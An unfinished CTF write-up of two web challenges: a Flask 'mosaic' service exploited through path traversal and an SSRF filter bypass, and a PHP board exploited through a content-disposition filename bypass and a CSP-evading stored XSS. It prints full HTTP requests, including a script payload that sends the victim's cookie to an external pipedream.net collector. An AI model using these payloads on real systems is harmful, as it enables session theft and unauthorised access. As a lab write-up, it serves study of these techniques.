Not finish yet, still writing :)
• mosaic
from flask import Flask, render_template, request, redirect, url_for, session, g, send_from_directory
import mimetypes
import requests
import imageio
import os
import sqlite3
import hashlib
import re
from shutil import copyfile, rmtree
import numpy as np
app = Flask(__name__)
app.secret_key = os.urandom(24)
app.config['MAX_CONTENT_LENGTH'] = 16 * 1000 * 1000
DATABASE = 'mosaic.db'
UPLOAD_FOLDER = 'uploads'
MOSAIC_FOLDER = 'static/uploads'
if os.path.exists("/flag.png"):
FLAG = "/flag.png"
else:
FLAG = "/test-flag.png"
try:
with open("password.txt", "r") as pw_fp:
ADMIN_PASSWORD = pw_fp.read()
pw_fp.close()
except:
ADMIN_PASSWORD = "admin"
def apply_mosaic(image, output_path, block_size=10):
height, width, channels = image.shape
for y in range(0, height, block_size):
for x in range(0, width, block_size):
block = image[y:y+block_size, x:x+block_size]
mean_color = np.mean(block, axis=(0, 1))
image[y:y+block_size, x:x+block_size] = mean_color
imageio.imsave(output_path, image)
def hash(password):
return hashlib.md5(password.encode()).hexdigest()
def type_check(guesstype):
return guesstype in ["image/png", "image/jpeg", "image/tiff", "application/zip"]
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
return db
def init_db():
with app.app_context():
db = get_db()
db.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT unique, password TEXT)")
db.execute(f"INSERT INTO users (username, password) values('admin', '{hash(ADMIN_PASSWORD)}')")
db.commit()
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/', methods=['GET'])
def index():
if not session.get('logged_in'):
return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/login">login</a> <a href="/register">register</a>'''
else:
if session.get('username') == "admin" and request.remote_addr == "127.0.0.1":
copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')
return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/upload">upload</a> <a href="/mosaic">mosaic</a> <a href="/logout">logout</a>'''
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if not re.match('^[a-zA-Z0-9]*$', username):
return "Plz use alphanumeric characters.."
cur = get_db().cursor()
cur.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, hash(password)))
get_db().commit()
os.mkdir(f"{UPLOAD_FOLDER}/{username}")
os.mkdir(f"{MOSAIC_FOLDER}/{username}")
return redirect(url_for('login'))
return render_template("register.html")
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if not re.match('^[a-zA-Z0-9]*$', username):
return "Plz use alphanumeric characters.."
cur = get_db().cursor()
user = cur.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, hash(password))).fetchone()
if user:
session['logged_in'] = True
session['username'] = user[1]
return redirect(url_for('index'))
else:
return 'Invalid credentials. Please try again.'
return render_template("login.html")
@app.route('/logout')
def logout():
session.pop('logged_in', None)
session.pop('username', None)
return redirect(url_for('login'))
@app.route('/mosaic', methods=['GET', 'POST'])
def mosaic():
if not session.get('logged_in'):
return redirect(url_for('login'))
if request.method == 'POST':
image_url = request.form.get('image_url')
if image_url and "../" not in image_url and not image_url.startswith("/"):
guesstype = mimetypes.guess_type(image_url)[0]
ext = guesstype.split("/")[1]
mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}')
filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url)
if os.path.isfile(filename):
image = imageio.imread(filename)
elif image_url.startswith("http://") or image_url.startswith("https://"):
return "Not yet..! sry.."
else:
if type_check(guesstype):
image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content
image = imageio.imread(image_data)
apply_mosaic(image, mosaic_path)
return render_template("mosaic.html", mosaic_path = mosaic_path)
else:
return "Plz input image_url or Invalid image_url.."
return render_template("mosaic.html")
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if not session.get('logged_in'):
return redirect(url_for('login'))
if request.method == 'POST':
if 'file' not in request.files:
return 'No file part'
file = request.files['file']
if file.filename == '':
return 'No selected file'
filename = os.path.basename(file.filename)
guesstype = mimetypes.guess_type(filename)[0]
image_path = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', filename)
if type_check(guesstype):
file.save(image_path)
return render_template("upload.html", image_path = image_path)
else:
return "Allowed file types are png, jpeg, jpg, zip, tiff.."
return render_template("upload.html")
@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
if not session.get('logged_in'):
return redirect(url_for('login'))
if username == "admin" and session["username"] != "admin":
return "Access Denied.."
else:
return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)
if __name__ == '__main__':
init_db()
app.run(host="0.0.0.0", port="9999")
This chall provides upload service which user can upload local file. (But there are accpeted image form, "png, jepeg, jpg, zip, tiff).
@app.route('/', methods=['GET'])
def index():
if not session.get('logged_in'):
return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/login">login</a> <a href="/register">register</a>'''
else:
if session.get('username') == "admin" and request.remote_addr == "127.0.0.1":
copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')
return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/upload">upload</a> <a href="/mosaic">mosaic</a> <a href="/logout">logout</a>'''
We can copy Flag to "uploads/admin/flag.png", if we can get admin session & request with localhost. So first step gonna get admin's password. So let's see if any of the other endpoints have any hints as to where we can get the admin password.
[ Point 1 ]
@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
if not session.get('logged_in'):
return redirect(url_for('login'))
if username == "admin" and session["username"] != "admin":
return "Access Denied.."
else:
return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)
We can check whether file is uploaded by using this endpoint. The problem is there is no validation part of user's input.
"@../[some_folder]" , this payload allows us to check files in the parent directory.
[ Point 2 ]
@app.route('/', methods=['GET'])
def index():
if not session.get('logged_in'):
return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/login">login</a> <a href="/register">register</a>'''
else:
if session.get('username') == "admin" and request.remote_addr == "127.0.0.1":
copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')
return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/upload">upload</a> <a href="/mosaic">mosaic</a> <a href="/logout">logout</a>'''
We login as a admin but problem is how to bypass remote_addr. We need to find function to make the request in the service itself.
@app.route('/mosaic', methods=['GET', 'POST'])
def mosaic():
if not session.get('logged_in'):
return redirect(url_for('login'))
if request.method == 'POST':
image_url = request.form.get('image_url')
if image_url and "../" not in image_url and not image_url.startswith("/"):
guesstype = mimetypes.guess_type(image_url)[0]
ext = guesstype.split("/")[1]
mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}')
filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url)
if os.path.isfile(filename):
image = imageio.imread(filename)
elif image_url.startswith("http://") or image_url.startswith("https://"):
return "Not yet..! sry.."
else:
if type_check(guesstype):
image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content
image = imageio.imread(image_data)
apply_mosaic(image, mosaic_path)
return render_template("mosaic.html", mosaic_path = mosaic_path)
else:
return "Plz input image_url or Invalid image_url.."
return render_template("mosaic.html")
After checking type, there is a function "requests.get". By using this part, we can send a request to "/" endpoint with admin's session, then the service will copy the FLAG file to the specified path.
There is a type check of input file and filterings with "http://" & "https://", so we use this payload.
HTTPS://58.229.185.52:9999//?abc.png
Sending this request in "/mosaic" endpoint, now we just copy FLAG file into "/uploads/admin/flag.png"
[ Point 3 ]
The Final step is checking copied flag file in '/uploads/admin' directory.
@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
if not session.get('logged_in'):
return redirect(url_for('login'))
if username == "admin" and session["username"] != "admin":
return "Access Denied.."
else:
return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)
Just enter to "/check_upload/@admin/flag.png' with admin session!
Summary
- Check admin's password in "/check_upload/@<username>/<file>', by using non-validation of user's iput
- Use request.get function of "/mosaic" endpoint. Bypass filterings with "HTTP://" and specify extension of file(e.g. test.png). Then service will copy Flag file into "/uploads/admin/"
- Check it through '/check_upload/@<username>/<file>' endpoint
• Warmup-revenge
// bot.js
async function visit(url) {
...
try {
let page = await browser.newPage();
await page.goto("http://webserver/login.php");
await page.waitForSelector('body')
await page.focus('#username')
await page.keyboard.type("admin", { delay: 10 });
await page.focus('#password')
await page.keyboard.type("[REDACTED]", { delay: 10 });
await new Promise(resolve => setTimeout(resolve, 500))
await page.click('#submitBtn')
await new Promise(resolve => setTimeout(resolve, 500))
page.setCookie({
"name": "FLAG",
"value": flag,
"domain": "webserver",
"path": "/",
"httpOnly": false,
"sameSite": "Strict"
})
console.log("url : ", url);
await page.waitForNetworkIdle();
await page.goto(url, {waitUntil: 'load'});
await new Promise(resolve => setTimeout(resolve, 10000))
await page.close()
await browser.close()
} catch (e) {
console.log("error!",e);
await browser.close()
}
}
Flag is in bot's cookie.
We can see the board and articles after login.
Let's see code of this page.
// article_read_page.php
<?php
if($row['file_path']) {
echo "<script src='./static/javascript/auto.js'></script>";
}
?>
This page runs differently depending on the auto.js file. Let's check this out.
// auto.js
const urlParams = new URLSearchParams(window.location.search);
var auto_download = urlParams.get('auto_download') ? 1 : 0
if(auto_download) {
setTimeout(download, 2000);
}
function download() {
window.open(document.getElementById("download").href);
}
The auto.js file is intended to allow users to download files automatically using the 'auto_download' parameter.
You can check that 'same-origin' policy is applied to the window.open API. We can guess that there is flag in bot's cookie, and XSS vulnerability exists in this chall.
// download.php
if(preg_match("/msie/i", $_SERVER['HTTP_USER_AGENT']) && preg_match("/5\.5/", $_SERVER['HTTP_USER_AGENT'])) {
header("content-length: ".filesize($filepath));
header("content-disposition: attachment; filename=\"$original\"");
header("content-transfer-encoding: binary");
} else if (preg_match("/Firefox/i", $_SERVER['HTTP_USER_AGENT'])){
header("content-length: ".filesize($filepath));
header("content-disposition: attachment; filename=\"".basename($file['file_name'])."\"");
header("content-description: php generated data");
} else {
header("content-length: ".filesize($filepath));
header("content-disposition: attachment; filename=\"$original\"");
header("content-description: php generated data");
}
header("pragma: no-cache");
header("expires: 0");
I didn't know about 'content-disposition' header, so I searched it.
This is the header that enables the user to download. But it forces the service to download "only" files. If we want to trigger XSS, we must bypass this.
[ Point 1 ] - Bypass "content-disposition" header
reference : https://markitzeroday.com/xss/bypass/2018/04/17/defeating-content-disposition.html
We can us "\r\n" characters to bypass header.
// board.php
if($_FILES['file']['tmp_name']){
if($_FILES['file']['size'] > 2097152){
die('File is too big');
}
$file_name = bin2hex(random_bytes(30));
if(!move_uploaded_file($_FILES['file']['tmp_name'], './upload/' . $file_name)) die('Upload Fail');
$insert['file_path'] = './upload/' . $file_name;
$insert['file_name'] = $_FILES['file']['name'];
}
And I also check that there is no filtering with filename. If we send a filename like "aa\r.html", we can trigger XSS.
I just gave a try whether xss is triggered with simple script code. (<script>alert(1)</script>) But it didn't work because of CSP policy.
[ Point 2 ] - Bypass Same-origin policy by using other articles
Content-Security-Policy: default-src 'self'; style-src 'self'
This CSP would let us include scripts from same domain a simple bypass would be to upload first a file containing the javascript code to execute then another file to include that js code from the download.php page.
So first request goes like this :
POST /board.php?p=write HTTP/1.1
Host: 58.225.56.195
Content-Length: 671
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://58.225.56.195
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycvWyliGDdHdwlJtE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://58.225.56.195/board.php?p=write
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=1c81fcd1c24b17563d38a04767fc13e9
Connection: close
------WebKitFormBoundarycvWyliGDdHdwlJtE
Content-Disposition: form-data; name="title"
111
------WebKitFormBoundarycvWyliGDdHdwlJtE
Content-Disposition: form-data; name="content"
111
------WebKitFormBoundarycvWyliGDdHdwlJtE
Content-Disposition: form-data; name="level"
1
------WebKitFormBoundarycvWyliGDdHdwlJtE
Content-Disposition: form-data; name="file"; filename="a.html"
Content-Type: text/html
document.location="https://eob4gc3luoexsdv.m.pipedream.net/?x=".concat(encodeURIComponent(document.cookie));
------WebKitFormBoundarycvWyliGDdHdwlJtE
Content-Disposition: form-data; name="password"
111
------WebKitFormBoundarycvWyliGDdHdwlJtE--
Upload a file containing the content of script code. And second request would be likte this
POST /board.php?p=write HTTP/1.1
Host: 58.225.56.195
Content-Length: 615
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://58.225.56.195
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDcVyYJY0OfwRJrcK
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://58.225.56.195/board.php?p=write
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=1c81fcd1c24b17563d38a04767fc13e9
Connection: close
------WebKitFormBoundaryDcVyYJY0OfwRJrcK
Content-Disposition: form-data; name="title"
2222
------WebKitFormBoundaryDcVyYJY0OfwRJrcK
Content-Disposition: form-data; name="content"
2222
------WebKitFormBoundaryDcVyYJY0OfwRJrcK
Content-Disposition: form-data; name="level"
1
------WebKitFormBoundaryDcVyYJY0OfwRJrcK
Content-Disposition: form-data; name="file"; filename="aa\r.html"
Content-Type: text/html
<script src="/download.php?idx=1216"></script>
------WebKitFormBoundaryDcVyYJY0OfwRJrcK
Content-Disposition: form-data; name="password"
2222
------WebKitFormBoundaryDcVyYJY0OfwRJrcK--
And then, send GET request like this: http://58.225.56.195/report.php?path=download.php&idx=1216. Finally, we could get flag.